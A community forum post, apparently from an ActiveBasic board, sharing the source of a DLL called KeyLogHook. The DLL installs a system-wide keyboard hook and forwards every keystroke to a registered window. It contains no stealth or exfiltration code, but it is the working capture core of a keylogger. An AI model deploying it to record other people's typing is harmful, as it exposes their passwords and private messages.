ab.com コミュニティ

'汚いコードですいません(_ _)m
#include "KeyLogHook.idx"

'-------------------------------------------------------------------
' メモ - このファイルには、DLLの構成要素を記述します。
' （例：関数定義、グローバル変数、定数定義など）
'
' エクスポートが必要な関数には、"Export" 修飾子を指定します。
' （例：Function Export FuncName() As Long）
'-------------------------------------------------------------------
TypeDef HHOOK = VoidPtr
TypeDef HOOKPROC = *Function(code As Long, wParam As WPARAM, lParam As LPARAM) As LRESULT
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (idHook As Long, lpfn As HOOKPROC, hmod As HINSTANCE, dwThreadId As DWord) As HHOOK
Declare Function UnhookWindowsHookEx Lib "user32" (hhk As HHOOK) As BOOL
Declare Function CallNextHookEx Lib "user32" (hhk As HHOOK, nCode As Long, wParam As WPARAM, lParam As LPARAM) As LRESULT

Const WH_KEYBOARD = 2
Const HC_ACTION = 0
Const WM_KEYHOOK = (WM_USER + 100)

Dim hHook=0 As HHOOK
Dim hDllInstance As HINSTANCE
Dim hMsgWnd As HWND

Function Export DllMain(hinstDLL As HINSTANCE, fdwReason As DWord, lpvReserved As VoidPtr) As Long
'DLLエントリポイント
Select Case fdwReason
Case DLL_PROCESS_ATTACH
'DLLがプロセス空間にロードされた時に実行されます。
_System_StartupProgram()
hDllInstance = hinstDLL
DllMain=1
End Select
End Function

Function Export WindowSet(hWnd As HWND)
hMsgWnd = hWnd
End Function

Function Export SetHook() As Long'フックをセット。失敗するとFALSEが返る。成功ならTRUE。
hHook = SetWindowsHookEx(WH_KEYBOARD,AddressOf(KeyLogHookProc),hDllInstance,0)
If hHook=NULL Then SetHook = FALSE:Else:SetHook=TRUE
End Function

Sub Export FreeHook()'フックを解除
UnhookWindowsHookEx(hHook)
End Sub

Function KeyLogHookProc(code As Long, wParam As WPARAM, lParam As LPARAM) As LRESULT
If code=HC_ACTION Then
SendMessage(hMsgWnd, WM_KEYHOOK,wParam,lParam)
End If
KeyLogHookProc = CallNextHookEx(hHook,code,wParam,lParam)
End Function